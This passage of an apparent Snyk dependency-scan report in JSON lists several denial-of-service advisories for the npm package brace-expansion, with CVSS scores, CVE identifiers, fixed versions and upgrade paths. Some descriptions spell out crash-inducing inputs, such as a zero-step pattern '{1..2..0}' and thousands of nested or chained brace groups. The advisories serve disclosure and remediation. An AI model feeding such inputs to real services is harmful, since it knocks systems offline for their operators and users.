false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": 